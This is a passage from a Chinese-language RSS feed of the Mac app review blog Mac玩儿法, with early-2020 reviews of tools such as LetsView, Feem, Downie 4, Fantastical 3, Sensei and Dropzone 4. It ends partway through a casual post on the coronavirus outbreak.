    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/bundlehunt-2020/feed + 0 +
    + + 幕享:全平台全设备投屏共享 + https://www.waerfa.com/letsview-review + https://www.waerfa.com/letsview-review#respond + Thu, 20 Feb 2020 00:39:08 +0000 + + + + + + + + + + https://www.waerfa.com/?p=106704 + + 幕享是一款支持全平台全设备类型的屏幕投射服务,可以运行在 Win、Mac、Android、iOS、各种 Android 内核的 TV 设备上。支持AirPlay、DLNA、Chromecast、Miracast 等多种投屏协议。

    + +

    以 Mac + iOS 组合举例,我们在 Mac 与 iPhone 上分别安装好客户端与 app 后,处于同一 wifi 网络下的他们可以实现快速配对,比如当你在 iPhone 端发现 Mac 后点击输入投屏码即可进入投射模式的选择,你可以选择将手机屏幕投射到 Mac,也可以选择将电脑屏幕投射到手机上。

    + +

    幕享:全平台全设备投屏共享插图

    + +

    将手机屏幕投射到 Mac 时,这种适合开发教学演示等场景,只需在 iPhone 控制中心里找到「屏幕镜像」这个模块,点击后找到幕享即可进入投屏状态。

    + +

    幕享:全平台全设备投屏共享插图(1)

    + +

    此时你可以在 Mac 上看到投射的 iPhone 实时屏幕画面,不过这个投射窗口无法自由调整尺寸,只能全屏或者是一种尺寸的非全屏状态,此外还支持录制与截图功能。

    + +

    幕享:全平台全设备投屏共享插图(2)

    + +

    在 iPhone 端,幕享还提供了画板以及 Office 文档导入功能,供用户在桌面端进行演示、讲课等场景使用。

    + +

    幕享:全平台全设备投屏共享插图(3)

    + +

    幕享官网

    +

    本文发表自Mac玩儿法,转载请注明转自《幕享:全平台全设备投屏共享

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/letsview-review/feed + 0 +
    + + Feem:免流量跨平台文件传输工具,支持离线分享 + https://www.waerfa.com/feem-review + https://www.waerfa.com/feem-review#respond + Wed, 19 Feb 2020 15:08:01 +0000 + + + + + + + + https://www.waerfa.com/?p=106692 + + Feem 是一款在文件传输领域打拼多年的产品,目前是基于 Wifi 局域网直连模式的文件传输服务,跨平台,在 Mac、PC、iOS、Android、Linux 皆有客户端。安装不同平台的客户端设备只要在同一无线网络,可以实现无提前配置式的自动配对,这一点我还是头一次遇到。

    + +

    Feem 的传播速度快,支持断点续传,对视频这种大体积文件的传输速度快,当你的办公、学习设备在同一无线网络时即可完成所有文件的同步。

    + +

    Feem:免流量跨平台文件传输工具,支持离线分享插图

    + +

    以 iPhone 客户端举例,安装 Feem app 后自动进入 wifi 网络,可以与 Mac 端进行文件传输,也可以把 iOS 里的相册、视频文件传输出去,甚至是引入 iOS 的 Files app 架构也可以完成文件的上传同步。

    + +

    Feem:免流量跨平台文件传输工具,支持离线分享插图(1)

    + +

    此外,这款产品还提供名为 WebShare 的离线分享功能,发起分享一方只需将文件添加到 webshare,另一方的用户无需安装 Feem 客户端,打开指定网页 URL,输入密码即可获取对方分享的文件,完成离线分享操作。

    + +

    Feem:免流量跨平台文件传输工具,支持离线分享插图(2)

    + +

    Feem 目前的 Pro 版本国内价格为个人版 39 元,家庭版 59 元,两个版本除了支持的设备数量不一样外,其他功能均一样:

    + +

    Feem:免流量跨平台文件传输工具,支持离线分享插图(3)

    + +

    订购 Pro 版本可屏蔽恼人的广告,不限量的传输次数,自定义你的设备名称、下载路径,自定义离线分享(webshare)的设定密码等等服务。

    + +

    购买 Feem Pro 解锁不限数量传输体验

    +

    本文发表自Mac玩儿法,转载请注明转自《Feem:免流量跨平台文件传输工具,支持离线分享

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/feem-review/feed + 0 +
    + + Parallels Desktop 15 价值 7130 元的 Mac 软件包正在免费送! + https://www.waerfa.com/parallels-desktop-15-free-mac-bundle + https://www.waerfa.com/parallels-desktop-15-free-mac-bundle#comments + Wed, 19 Feb 2020 13:22:57 +0000 + + + + https://www.waerfa.com/?p=106687 + + Parallels Desktop 每年传统节目,购买 PD 就送免费 Mac 软件大礼包如期进行,这次顾客可免费获得的软件如下:

    + +
      +
    • MindManager 12 for Mac
    • +
    • 1Password 一年期
    • +
    • Hype 4 Pro
    • +
    • Twist Unlimited 一年期
    • +
    • Roxio Toast 18 Titanium
    • +
    • Intego Mac Internet Security X9 一年期
    • +
    • Parallels Access 一年期
    • +
    • Data Rescue 5 for Mac
    • +
    • Parallels Toolbox 一年期
    • +
    • PDFpen for Mac 11
    • +
    + +

    这十款软件原价合计 7130 元,现在购买 PD 即可免费获赠这些软件。

    + +

    购买 Parallels Desktop 15 免费获赠价值 7130 元的 Mac 软件包

    + +

    以下是新增购买 PD 15 标准版一年期的港币价格 $598,折合人民币为 538 元,538 元即可免费获赠以下软件:

    + +

    Parallels Desktop 15 价值 7130 元的 Mac 软件包正在免费送!插图

    + +

    购买 Parallels Desktop 15 免费获赠价值 7130 元的 Mac 软件包

    +

    本文发表自Mac玩儿法,转载请注明转自《Parallels Desktop 15 价值 7130 元的 Mac 软件包正在免费送!

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/parallels-desktop-15-free-mac-bundle/feed + 1 +
    + + Downie 4:继续进化,中文版特惠活动进行中 + https://www.waerfa.com/downie-4-review + https://www.waerfa.com/downie-4-review#comments + Wed, 19 Feb 2020 12:49:59 +0000 + + + + https://www.waerfa.com/?p=106678 + + 著名的视频下载软件 Downie 更新到了 4.0 版本,UI 更新,主界面改成了类似 Permute 那种视频预览图的设计风格,增加了 menubar 控制组件,性能提升,价格依然是 $19.99,不过国内的代理价格会便宜许多,数码荔枝正在做 7 折上新活动,仅需 50 元,而 Downie 3 用户升级的价格也只有 34 元。

    + +

    4.0 依然支持对 4K 视频的下载,用户可以到 YouTube、优酷、Bilibili、Vimeo、爱奇艺、网易云音乐等上千个网站的视频下载,当然也包括像 Pornhub 这种成人网站资源,而且这家网站还是 Downie 的默认视频搜索引擎,不过好在有家长控制功能。。

    + +

    4.0 的下载速度提高了许多。

    + +

    Downie 4:继续进化,中文版特惠活动进行中插图

    + +

    在下载的时候你可以选择后期处理(postprocessing),是提取为 MP4 还是仅提取音频或者是自定义。

    + +

    Downie 4:继续进化,中文版特惠活动进行中插图(1)

    + +

    在下载前,可以提示用户选择各种分辨率的版本以及各种字幕文件。

    + +

    Downie 4:继续进化,中文版特惠活动进行中插图(2)

    + +

    搜索功能比较鸡肋,我是懒得用,默认的搜索引擎是 Pornhub、SoundCloud、TED、Vimeo、YouTube、目前搜索引擎无法让用户自行添加。

    + +

    Downie 4:继续进化,中文版特惠活动进行中插图(3)

    + +

    新增了一个 menubar 组件,不过很鸡肋,你甚至不能用对视频 URL 进行 copy/paste 的触发下载动作,仅仅是可以代替传统界面进行下载管理。

    + +

    Downie 4:继续进化,中文版特惠活动进行中插图(4)

    + +

    Downie 4 目前也同步上架 Setapp

    + +

    购买特惠 Downie 4(仅50元)

    +

    本文发表自Mac玩儿法,转载请注明转自《Downie 4:继续进化,中文版特惠活动进行中

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/downie-4-review/feed + 1 +
    + + Berrycast:带有社交属性的录屏软件 + https://www.waerfa.com/berrycast-review + https://www.waerfa.com/berrycast-review#respond + Sat, 15 Feb 2020 04:12:20 +0000 + + + + + + https://www.waerfa.com/?p=106667 + + Berrycast 是一款带有社交属性的录屏软件,专门为职业人设计,录制的屏幕视频可通过 Mac 前置摄像头录制用户本人的视频,特别适合软件研发、市场销售、平面设计、课程录制、商务会议、售后支持等场景。

    + +
    Berrycast:带有社交属性的录屏软件插图
    ALT+CMD+R 开始录制
    + +
    Berrycast:带有社交属性的录屏软件插图(1)
    可以选择屏幕里的录制区域
    + +
    Berrycast:带有社交属性的录屏软件插图(2)
    填入邮件进行发送
    + +

    Berrycast 在屏幕左侧有一个待命的隐藏小窗口,光标靠近时自动触发,里面有「录屏」和「已录视频」两个入口,录屏支持全屏或者自选录制区域,同时可以开启前置摄像头录制你自己。在录制的过程中支持暂停操作,这个非常的实用,不至于浪费太多空白时段。

    + +

    录制好的视频会自动上传到 Berrycast 后台服务器并生成一个可公开浏览的视频 URL,你可以选择用 Berrycast 的邮箱系统发送给任何人,也可以对视频进行加密再发出去,或者也可以把视频 URL 通过别的渠道分享给别人,对方收到邮件后,邮件里包含视频链接,打开后自动跳转到 Berrycast 平台网页进行播放。

    + +

    Berrycast:带有社交属性的录屏软件插图(3)

    + +

    上传到 Berrycast 的视频都可以自由播放、下载,默认账号都是免费的,目前这款服务的付费方案还没有出炉。

    +

    本文发表自Mac玩儿法,转载请注明转自《Berrycast:带有社交属性的录屏软件

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/berrycast-review/feed + 0 +
    + + Diagrams:在家办公可以试试这款流程图编辑器 + https://www.waerfa.com/diagrams-review + https://www.waerfa.com/diagrams-review#respond + Sun, 09 Feb 2020 09:10:58 +0000 + + + + + + https://www.waerfa.com/?p=106652 + + 最近疫情严峻,大家都在家远程办公,作为公司业务关键人物的同学们,特别是做产品经理,规划设计策划的同学平时都会按时向老板提交最新的产品规划、流程图等策划品,工程图。今天推荐一个最新产品,刚上架 Mac App Store 的,名为「Diagrams」。

    + +

    Diagrams 的设计非常简洁,去掉了不必要的非流程图功能,只保留了最核心的东西。这款软件非常适合:

    + +
      +
    • 「软件开发」(很笼统的说法,适合各类平台的客户端,app,实体产品的设计策划)
    • +
    • 「商务/工程管理」(向大老板或客户姥爷介绍你的工作思路)
    • +
    • 「其他一些场景」(公共事业单位、院校研究等一些场景使用)
    • +
    + +

    Diagrams:在家办公可以试试这款流程图编辑器插图

    + +

    Diagrams 提供了四种形状,四种配色的 element,并在里面写上名称,添加后可随时更改 element 的形状,颜色以及名称。

    + +

    Diagrams:在家办公可以试试这款流程图编辑器插图(1)

    + +

    支持多 tab 页同时管理:

    + +

    Diagrams:在家办公可以试试这款流程图编辑器插图(2)

    + +

    每个 element 直接可以添加任意的关系链接,有单向链接、双向链接、实线、虚线,可以表达不同类型的流程管理。

    + +

    Diagrams:在家办公可以试试这款流程图编辑器插图(3)

    + +

    当你制作好流程图后,可以直接导出成 PDF 文档或是图片。 Diagrams:在家办公可以试试这款流程图编辑器插图(4)

    + +

    在为各个 element 之间添加关系链接时可以在上面双击线条标记两个 element 之间的关系。

    + +

    Diagrams:在家办公可以试试这款流程图编辑器插图(5)

    + +

    Diagrams 这款流程图编辑器软件非常容易上手,目前在 MAS 做 67 折优惠,价格为 128 元。

    +

    本文发表自Mac玩儿法,转载请注明转自《Diagrams:在家办公可以试试这款流程图编辑器

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/diagrams-review/feed + 0 +
    + + Fantastical 3 for Mac 上手:你大爷依然是你大爷 + https://www.waerfa.com/fantastical-3-for-mac-review + https://www.waerfa.com/fantastical-3-for-mac-review#respond + Fri, 07 Feb 2020 05:29:42 +0000 + + + + + + + https://www.waerfa.com/?p=106623 + + Fantastical 3 for Mac 上手:你大爷依然是你大爷插图

    + +

    老牌日历软件 Fantastical 在 1 月 29 日发布了历史性的 3.0 版本,Mac、iOS、iPadOS、WatchOS 四个平台同时更新,新版虽然没有特别革命性的改进,但从细节上全面打磨了一遍,已经达到了该领域的领先级,高处不胜寒,你大爷依然是你大爷。

    + +

    对于我个人来说,我在平时使用 Fantastical 的非常少,看日历内容,包括节气,合作节假日用系统自带的就可以,至于起到 event、task 的部分则交给 Things 去做,不过这并不是否定 Fantastical 的作用与价值,Fantastical 的定位应该在传统日历软件与任务管理软件之间,适用于更多的不满足于传统日历功能的自我规划能力强的用户去使用,但又不需要像任务管理工具那样组织太过复杂的项目分组与进程管理场景。

    + +

    初次接触 Fantastical 的日历依赖者在首次接触时可能会被它“花枝招展”的功能迷住,但这里的用词并非贬义,你需要搞清楚这款产品里逻辑架构。

    + +

    在 Fantastical 的设计思路里,按照功能的排序从高到底依次是:

    + +
      +
    • Account – Calendar Sets – Cals(Subscription+Interesting)+ Items(Events + Tasks)
    • +
    + +

    UI 的设计思路里,包括了:

    + +
      +
    • Full Window
    • +
    • Mini Window
    • +
    + +

    Full Window 由左侧的当前月视图(其实就是 Mini Window)与右侧的传统日历视图(day + week + month + year)组合而成;weather 界面隐藏在各个视图里的触发按钮里,虽然元素看上去比较多,但耐心用几天你就会发现开发者设计的功底真的很深,各个元素交织在一起并不会引起混乱。

    + +

    Fantastical 3 for Mac 的设计与 2.x 差别并不是很大,主要体现在了可以跟随系统进行 dark/light mode 的实时切换。更加符合当前 macOS Catalina 操作系统的设计语言风格。

    + +
    Fantastical 3 for Mac 上手:你大爷依然是你大爷插图(1)
    Mini Window 可脱离 menubar 悬浮显示在桌面
    + +
    Fantastical 3 for Mac 上手:你大爷依然是你大爷插图(2)
    完整窗口,右侧的日历视图有5种可以快速切换
    + +

    跨平台同步数据

    + +

    通过免费的 Flexibits 账号,用户可以将软件里的自定义 calendar sets, templates, notifications, weather settings 等等数据快速的同步在各个平台系统之间。

    + +
    Fantastical 3 for Mac 上手:你大爷依然是你大爷插图(3)
    添加 fantastical 官方 accounts 以及第三方 accounts、本地 app
    + +

    当然除了注册 Flexibits 账号外,还能将 Apple 本地的 Calendar、Reminders 以及其他互联网 big account,比如像 Google、iCloud、Exchange、Office 365、Outlook、Yahoo、ToDoist 等等所有 CalDAV 账号里的日历、tasks、contacts 同步进来,然后用 Calendar Sets,也就是日历分组来做自由组合。

    + +
    Fantastical 3 for Mac 上手:你大爷依然是你大爷插图(4)
    添加第三方 account
    + +
    Fantastical 3 for Mac 上手:你大爷依然是你大爷插图(5)
    创建不限数量的 calendar sets,也就是日历组
    + +

    关于新建 event、task

    + +

    大家都知道 Fantastical 引以为豪的功能就是语义化新建 event,特别是英文等拉丁语系的用户可以用很自然的语句完成 event、task 的输入,比如像:“下周三早上七点到北京天安门广场看升国旗”这种例子,这个 title 用英文写很简单的:“see flag rising in next wednesday at 7”;但是用中文输入这句话,Fantastical 是识别不了的。

    + +

    Fantastical 3 for Mac 上手:你大爷依然是你大爷插图(6)

    + +

    但是我们可以换个思路,将 event 的主要目的用中文写出来,不涉及日期与具体时间,将这些放在中文字符的最后,Fantastical 还是可以自动识别出来的,比如:“到北京天安门广场看升国旗 in next wednesday at 7”,这样也是一定程度提高了中文用户的使用效率的。

    + +

    以下是 Fantastical 的英文语法参考:

    + +
      +
    • Grocery shopping at Wegmans Thursday at 5pm
    • +
    • Soccer practice every with John Tuesday 6
    • +
    • Family vacation from August 9-18
    • +
    • Sam's birthday every year on 5/16
    • +
    • Piano lessons Tuesdays and Thursdays at 5-6pm from 1/21 to 2/23
    • +
    • Lunch every Tuesday until 2/5
    • +
    • Final project due August 15
    • +
    • Finish important task by Thursday!!!
    • +
    • Haircut tomorrow at Quick Cuts 10am alert 30 minutes
    • +
    • Important meeting at 2pm on Tuesday /work
    • +
    + +

    比如我们要注意:

    + +
      +
    • at 可以用于地点、日期,甚至是时间
    • +
    • on 可以用于跟几月几号
    • +
    • by 可以用于跟日期
    • +
    • due 可以用于跟日期
    • +
    • until 可以用与截止日期
    • +
    • 每年的纪念日子可以用 every year
    • +
    • from 可以用于规定一个日期范围
    • +
    + +

    Fantastical 3 for Mac 上手:你大爷依然是你大爷插图(7)

    + +

    Interesting Calendars

    + +

    Fantastical 3 首次加入了 Interesting Calendars,也就是涉及到各国节假日、体育赛事、股票、月相的日历数据,之前用户只能通过 URL 自行订阅,现在你可以用官方提供的日历数据了,不过有一点不好的就是这些数据都是英文的,即时它里面有我国的 CBA 这种体育赛事。

    + +

    Fantastical 3 for Mac 上手:你大爷依然是你大爷插图(8)

    + +

    Weather

    + +

    Fantastical 3 还首次加入了天气预报功能,软件可以提供包括当天在内的 10 天内的天气预报信息呢。

    + +

    Fantastical 3 for Mac 上手:你大爷依然是你大爷插图(9)

    + +

    File and Photo Attachments

    + +

    新的 Fantastical 可以在 event、task 里添加包括照片在内的各种文件作为附件安插在里面,这应该是一个跨界的功能了。

    + +

    Fantastical 3 for Mac 上手:你大爷依然是你大爷插图(10)

    + +

    Work Together

    + +

    你可以在 event、task 里添加其他使用 Fantastical Flexibits 账户(add invite),双方可以对同一个 event、task 进行协作处理。

    + +

    Fantastical 3 for Mac 上手:你大爷依然是你大爷插图(11)

    + +

    这次新版针对 add invite 这个协作功能还添加了一个小心思,名为「Propose Another Date」,当其他参与到 event 的用户绝对发起人的定点值得商榷的时候可以直接在里面添加一个 「Propose Another Date」,指定另外一个时间范围,对方可以及时收到一个 proposed 邮件,在对方同意后,Fantastical 再通知你是否同意改期。

    + +

    Templates

    + +

    使用 Fantastical 时间长了你会发现平时添加的 event、task 的语法逐渐固话下来,这时候 template 就派上用场了,你可以利用已有的 event、task 创建一个模板,等下次再创建类似提醒时可以直接点击模板,然后修改里面的目的内容、日期、时间等数据即可。

    + +

    Fantastical 3 for Mac 上手:你大爷依然是你大爷插图(12)

    + +

    通知功能

    + +

    Fantastical 3 for Mac 上手:你大爷依然是你大爷插图(13)

    + +

    版本对比

    + +

    对于我这种老用户来说最大的变化还是付费方式的改变,由原有的一锤子买卖变成了订阅制,分免费版与高级版,高级版按月付费价格是 $4.99,按年付费折算到每月优惠价格是 $3.99;新版支持 14 天全功能试用,还是很厚道的。

    + +

    Fantastical 3 for Mac 上手:你大爷依然是你大爷插图(14)

    + +

    免费版除了基础功能,建立一组 calendar set 外,对图标自定义(iOS/iPad OS)、Templates、Invites 协作、日历视图切换、Interesting Calendars,数据同步这些功能都说了 byebye,也就是个体验版,要想真正体验到 Fantastical 的强大还是要购买高级版。

    + +

    总结

    + +

    总的来说 Fantastical 3 这次更新还是很有意义的,但是对于他家万年不变的不支持中文语义输入这个不思进取的行为来说,想要拓展中文市场还很困难,而且到现在还没有中文本地化界面。

    + +

    Fantastical for Mac:优雅的日历软件

    +

    本文发表自Mac玩儿法,转载请注明转自《Fantastical 3 for Mac 上手:你大爷依然是你大爷

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/fantastical-3-for-mac-review/feed + 0 +
    + + Tab Space:一键启动你的浏览器WEB工作流 + https://www.waerfa.com/tab-space-review + https://www.waerfa.com/tab-space-review#comments + Thu, 06 Feb 2020 15:11:33 +0000 + + + + + https://www.waerfa.com/?p=106629 + + 由于我的浏览器常年开着 N 多标签页,但只要浏览器垮掉或者机器重启后,标签页都会从新打开,真的很费时间,偶尔机会在 MAS 遇到 Tab Space 这款 Safari 插件,可以实时保存已经打开的标签页记录,当你重启 Safari 或者新开窗口时可以一键启动(恢复)这些标签页,不限数量,真的很猛,而且支持 iCloud 同步。

    + +

    Tab Space:一键启动你的浏览器WEB工作流插图

    + +

    实时保存的标签页点击绿色按钮「恢复」即可一键重新打开,这款插件具备数据导入/导出功能;还可以把保存的标签页导出为文本,Markdown 或 HTML。注意需要 Safari 12.1 及更高版本才能正常使用。

    + +

    当你利用 Tab Space 一键开启所有标签页后还可以使用它精心设计的快捷键,比如:

    + +
      +
    • – Ctrl + L 关闭当前标签页左侧的所有标签页(官方说的不清楚,这里细说一下)
    • +
    • – Ctrl + R 关闭当前标签页右侧的所有标签页
    • +
    • – Ctrl + Q 关闭其它所有标签页
    • +
    • – Ctrl + D 复制当前标签页
    • +
    • – Ctrl + C 在 Chrome 中打开
    • +
    • – Ctrl + F 在 Firefox 中打开
    • +
    • – Ctrl + T 进入 Tab Space 页面
    • +
    • – Ctrl + B 保存选中内容到 Bear 熊掌记,免去常用的 Web Clipper 通常不支持 Safari 的烦恼
    • +
    +

    本文发表自Mac玩儿法,转载请注明转自《Tab Space:一键启动你的浏览器WEB工作流

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/tab-space-review/feed + 1 +
    + + Sensei:从磁盘监控转型为系统全局优化 + https://www.waerfa.com/sensei-review + https://www.waerfa.com/sensei-review#comments + Mon, 03 Feb 2020 04:02:58 +0000 + + + + + https://www.waerfa.com/?p=106605 + + Cindori 家的 Disk Sensei 在本月正式发布新版本,并更名为 Sensei,由于版本号重新开始,整个软件的功能与 UI 有了天翻地覆的变化,你也可以理解为 Disk Sensei 的继任者。Sensei 在 Disk Sensei 基础上对磁盘监控面板,系统优化,软件卸载以及硬件检测功能均进行了重新设计。

    + +

    Dashboard

    + +

    Sensei 的设计更加大气时尚,在 Dashboard 区域可以很清晰的将整个 Mac 的信息呈现给用户,比如电脑的型号,出厂时间,硬盘信息,电池健康度(剩余续航时间),内存信息(软件占用比例),显卡信息,CPU 信息(软件占用比例)等等。

    + +

    左侧的功能布局依然是 Optimize、Uninstaller、Clean、Trim 以及 硬件监控下的 Storage、Graphic、Battery、Cooling,整个监控的信息都比前任要细化许多,再配合 dark mode,绝对有精品软件的质感。

    + +
    Sensei:从磁盘监控转型为系统全局优化插图
    Dashboard 里各项信息都是实时变化的
    + +

    Optimize

    + +

    Optimize 下用户可以对随系统启动项目,后台程序进行开关管控。

    + +

    Sensei:从磁盘监控转型为系统全局优化插图(1)

    + +

    Uninstaller

    + +

    Uninstaller 帮助用户可以对整个软件或者一个软件内的任意单一组件、目录以及任何隐藏文件,helper tools 等等进行卸载。

    + +

    Sensei:从磁盘监控转型为系统全局优化插图(2)

    + +

    Clean

    + +

    Clean 可以自动检索出系统中的大体积文件、用户缓存数据、用户日志文件、邮箱附件、下载数据、系统日志文件、安装包等,检索后用户可直接完成删除操作,为系统已占用空间进行“减肥”。

    + +

    Sensei:从磁盘监控转型为系统全局优化插图(3)

    + +

    Trim Enabler

    + +

    Sensei 依然内置了 Trim Enabler 这款兄弟软件,开启 trim 后加快硬盘读写速度,延长硬盘使用寿命。

    + +

    Sensei:从磁盘监控转型为系统全局优化插图(4)

    + +

    Hardware – Storage

    + +

    Storage 包含了磁盘数据信息展示,跑分测试,健康度测试,I/O 数据统计三大功能。

    + +

    Sensei:从磁盘监控转型为系统全局优化插图(5)

    + +

    磁盘跑分可以进行反复测试。

    + +

    Sensei:从磁盘监控转型为系统全局优化插图(6)

    + +

    磁盘健康度显示磁盘健康度、温度以及其他各种吞吐能力数据。

    + +

    Sensei:从磁盘监控转型为系统全局优化插图(7)

    + +

    I/O 数据统计以图表形式进行展示

    + +

    Sensei:从磁盘监控转型为系统全局优化插图(8)

    + +

    Graphic

    + +

    Graphic 展示显示器的各项数据,包括供货商代码、型号、尺寸,像素等数据。

    + +

    Sensei:从磁盘监控转型为系统全局优化插图(9)

    + +

    Battery

    + +

    Battery 展示 Mac 的电池型号,出厂最大可冲电量,当前最大可冲电量,以及电池的健康度,温度等数据,非常详细。

    + +

    Sensei:从磁盘监控转型为系统全局优化插图(10)

    + +

    Cooling

    + +

    Cooling 是 Disk Sensei 的传统遗留项目,可以实时监控 Mac 的风扇转速(理论最大/最小值),还有更多的传感器可以对设备里的 CPU、主板、掌托区域、机架、无线 WIFI、硬盘、内存、显卡等硬件的温度进行实时监控。

    + +

    Sensei:从磁盘监控转型为系统全局优化插图(11)

    + +

    官网还对 DriveDx(没用过)、iStat Menus、CleanMyMac X 进行了功能比较,其实也是王婆卖瓜自卖自夸罢了,论功能,Sensei 只将自己有的和其他家没有的功能进行比较,其实论监控能力,我个人还是推荐 iStat Menus,但是其他功能考虑价格因素,我还是比较推荐 Sensei,毕竟他也有软件卸载功能,系统优化功能,对比价格,比 CleanMyMac X 有很大优势,后者价格高达 $200,而 Sensei 一次性付费价格仅为 $59,如果是年付订阅模式,价格为 $29。

    + +

    Sensei:从磁盘监控转型为系统全局优化插图(12)

    + +

    这款软件未来将支持中文。

    + +

    官方网站购买 Sensei

    +

    本文发表自Mac玩儿法,转载请注明转自《Sensei:从磁盘监控转型为系统全局优化

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/sensei-review/feed + 1 +
    + + Dropzone 4 发布:更改为订阅制,UI 小幅更新 + https://www.waerfa.com/dropzone-4-released + https://www.waerfa.com/dropzone-4-released#respond + Fri, 31 Jan 2020 14:07:10 +0000 + + + + + + https://www.waerfa.com/?p=106594 + + 著名的文件周转/分享工具 Dropzone 在本周推出了 4.0 版本,新版本与 3.x 相比没有太多变化,唯一的焦点在于开发者为了糊口,将收费政策由一次性收费更改为订阅制,用户可免费试用 14 天,之后月付 $1.99 可使用 Pro 所有功能,年付价格是 $24。

    + +

    Pro 版与普通版的区别就是可以让你使用 Dropzone 所有的 action library。

    + +

    Dropzone 4 在 UI 上进行了小幅调整,当你拖动文件到 menubar icon 时,D4 会自动弹出一个精美的召唤窗口,此时将文件拖进去即可,另外 4.0 的 logo 也是下图这样,貌似是一个发射塔的造型由 3.0 的俯视角度换成了侧视角度,呵呵,小编瞎猜的。。

    + +

    Dropzone 4 发布:更改为订阅制,UI 小幅更新插图

    + +

    D4 具备随系统自动更改 light/dark 主题配色的设计。

    + +

    Dropzone 4 发布:更改为订阅制,UI 小幅更新插图(1)

    + +

    你可以在里面添加系统自带的一些 action,只需点击 menubar 窗口里的 add to grid 即可,比如像 Imgur、AWS S3, Google Drive、Upload to SFTP 这些上传文件的同步 action,也可以将一些常见的目录、app 添加到「FOLDERS/APPS」区域。

    + +

    Dropzone 4 发布:更改为订阅制,UI 小幅更新插图(2)

    + +

    Dropzone 4 有一个名为 cloud action 的在线 action 下载 library,这也是 Pro 专用的云同步 action,目前比较少,只有Image Search、Say Text、YouTube Uploader 这三个 action,感觉数量太少了,完全不值得用户去付费更新到这个版本。作者就着急上马推出 D 4 版本,未免有些赚钱之心太急。

    +

    本文发表自Mac玩儿法,转载请注明转自《Dropzone 4 发布:更改为订阅制,UI 小幅更新

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/dropzone-4-released/feed + 0 +
    + + 闲聊一些2019新型冠状病毒的事情 + https://www.waerfa.com/2019-wuhan-coronavirus-outbreak + https://www.waerfa.com/2019-wuhan-coronavirus-outbreak#comments + Tue, 28 Jan 2020 16:26:31 +0000 + + + + + https://www.waerfa.com/?p=106588 + + 在人类几千年来有可追溯的历史资料来看,人类一直在与细菌病毒、传染病、瘟疫这些“恶魔”进行顽强的斗争,我们不要怪罪大自然的无情,也应该从自身找原因,人类氏族的自然迁徙与战争、生活环境卫生水平的落后、基于猎奇及宗教愚昧进食未被驯化的野生动物都是病毒找上人类的必要条件。

    + +

    今年春节前后爆发的源于中国武汉的新型冠狀病毒「维基百科」是继 2003 年非典病毒之后,中国发生的第二次大规模传染病事件。

    + +
    2019新型冠状病毒 (Novel coronavirus),为新兴传染病“严重特殊传染性肺炎”病原,由世界卫生组织命名为2019-nCoV,又名武汉冠状病毒(Wuhan coronavirus)、武汉肺炎(Wuhan pneumonia)等,是一种具有包膜的正链单股RNA冠状病毒。2019-2020年新型冠状病毒肺炎事件爆发期间,研究人员在对肺炎阳性患者样本进行核酸检测以及基因组测序后发现了这一病毒。 + +该病毒感染的肺炎目前尚无可确切识别之病征、目前亦无针对该新病毒的具体治疗方法,但可以使用已有的抗病毒药物进行治疗。有持续人传人的现象。
    + +

    目前我们可以提前做好病毒预防的方法大家都知道:

    + +
      +
    • 勤洗手(洗手液、肥皂、免洗消毒剂均可,每隔 20 分钟一次)
    • +
    • 少去人员密集场所,出门带口罩
    • +
    • 室内多通风
    • +
    • 保证睡眠充足,作息规律
    • +
